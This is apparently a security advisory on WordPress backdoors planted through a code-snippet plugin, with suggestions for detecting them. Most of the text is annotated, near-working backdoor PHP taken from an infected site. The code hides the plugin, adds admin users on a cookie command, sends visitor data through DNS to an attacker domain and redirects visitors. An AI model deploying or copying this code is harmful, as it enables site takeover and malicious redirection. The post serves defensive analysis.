WP backdoors delivered via code snippets
We have recently encountered a creative way to hide exploits on WP sites by using plugins that provide custom PHP code snippets. This article should serve as a warning why such plugins are automatically a security risk and should be avoided on all Wordpress sites whenever possible.
Process of the Attack
- Initial Access: The attacker leverages admin-level privileges, potentially obtained through existing exploits or vulnerabilities, to install a code snippet plugin from the official source on WordPress.org.
- Concealment: The attack generates a code snippet that conceals the presence of the plugin. This is achieved by masking all related information via CSS and by immediately unloading the plugin using a WordPress action hook.
- Execution: The malicious payload is automatically executed on every page request.
Example of backdoor code
We've lifted the following demonstration out of an infected website. The code has been slightly modified and clarifications added.
// Attacker's personal password
$_pwsa = 'password_string';
// Hide the presence of the WPCode plugin
if (current_user_can('administrator') && !array_key_exists('show_all', $_GET)) {
add_action('admin_print_scripts', function () {
echo '<style>';
...
echo '</style>';
});
add_filter('all_plugins', function ($plugins) {
unset($plugins['insert-headers-and-footers/ihaf.php']);
return $plugins;
});
}
if (!function_exists('_red')) {
// Helper function, extract base64-encoded cookie values
function _gcookie($n) {
return (isset($_COOKIE[$n])) ? base64_decode($_COOKIE[$n]) : '';
}
// Exploit control section
// Test if visiting browser has the password cookie set to correct value
if (!empty($_pwsa) && _gcookie('pw') === $_pwsa) {
// Command options
switch (_gcookie('c')) {
// Update domain storage hidden within wordpress option
case 'sd':
$d = _gcookie('d');
if (strpos($d, '.') > 0) {
update_option('d', $d);
}
break;
// Add administrator user to the WP site
// username, password and e-mail fields are defined by u,p,e cookies
case 'au':
$u = _gcookie('u');
$p = _gcookie('p');
$e = _gcookie('e');
if ($u && $p && $e && !username_exists($u)) {
$user_id = wp_create_user($u, $p, $e);
$user = new WP_User($user_id);
$user->set_role('administrator');
}
break;
}
return;
}
// Skip further code on the login page to avoid detection
if (@stripos(wp_login_url(), ''.$_SERVER['SCRIPT_NAME']) !== false) { return; }
// Skip further code if specific cookie is present
if (_gcookie("skip") === "1") { return; }
// Helper functions
function _is_mobile() { ... }
function _is_iphone() { ... }
function _user_ip() { ... }
function _red() {
// Do nothing for logged in users to avoid detection
if (is_user_logged_in()) { return; }
// Do nothing if IP is not set, likely to avoid detection when run via tool like WP CLI
$ip = _user_ip(); if (!$ip) { return; }
// Get WP transient option that stores list of visitor IP addresses
$exp = get_transient('exp'); if (!is_array($exp)) { $exp = array(); }
// Remove IP address from the list if 24 hours have passed since the last visit
foreach ($exp as $k => $v) { if (time() - $v > 86400) { unset($exp[$k]); } }
// Do nothing more if IP address has visited within last 24 hours
if (key_exists($ip, $exp) && (time() - $exp[$ip] < 86400)) { return; }
// Save website hostname and ip address of the visitor
$host = filter_var(parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST), FILTER_VALIDATE_DOMAIN, FILTER_FLAG_HOSTNAME);
$ips = str_replace(':', '-', $ip); $ips = str_replace('.', '-', $ips);
// Take attacker's contact domain out of WP option
$h = 'cdn-routing.com';
$o = get_option('d');
if ($o && strpos($o, '.') > 0) { $h = $o; }
// Prepare DNS request - package info about the current website into subdomains
$m = _is_iphone() ? 'i' : 'm'; $req = (!$host ? 'unk.com' : $host) . '.' . (!$ips ? '0-0-0-0' : $ips) . '.' . mt_rand(100000, 999999) . '.' . (_is_mobile() ? 'n' . $m : 'nd') . '.' . $h;
// Send the DNS request: get redirect URL and provide heartbeat
$s = null;
try {
$v = "d" . "ns_" . "get" . "_rec" . "ord";
$s = @$v($req, DNS_TXT);
} catch (\Throwable $e) { } catch (\Exception $e) { }
// Redirect visitor to the domain name in the attacker's DNS TXT record
// Log the IP into storage
if (is_array($s) && !empty($s)) {
if (isset($s[0]['txt'])) {
$s = $s[0]['txt'];
$s = base64_decode($s);
if ($s == 'err') {
$exp[$ip] = time();
delete_transient('exp');
set_transient('exp', $exp);
} else if (substr($s, 0, 4) === 'http') {
$exp[$ip] = time();
delete_transient('exp');
set_transient('exp', $exp);
wp_redirect($s);
exit;
}
}
}
}
add_action('init', '_red');
}
The code shown above grants attacker an ability to redirect visitors of the website to any other domain that he wishes. The backdoor allows switching of the control domain in order to allow migration of the attacker's own infrastructure. Finally, the attacker can, at any point, create his own Admin-level user on the website and use it at his leisure - possibly improving the backdoor or adding more malicious code.
Thoughts on detection
This kind of malicious code can be much more difficult to locate than exploits embedded within code as the latter can be simply identified by tracking file differences.
Basic security tools don't scan WP database or they don't do so sufficiently well. We have tested if the code shown earlier would get detected by Wordfence. It wouldn't. This means that exploits hidden within snippet plugins easily escape automated detection.
In this particular case the detection can be as simple as comparing the list of available installed plugins to the contents of wp-content/plugins/ folder. Should the folder contain any plugin slugs that do not correspond to what is available inside Wordpress administration, detailed investigation should follow. This is, however, something that can hardly get automated due to the exploit's different behavior when running via CLI tool.
The easiest approach to detection could simply be maintaining a plugin graylist. A list of potentially exploitable plugins that, when installed, require additional review.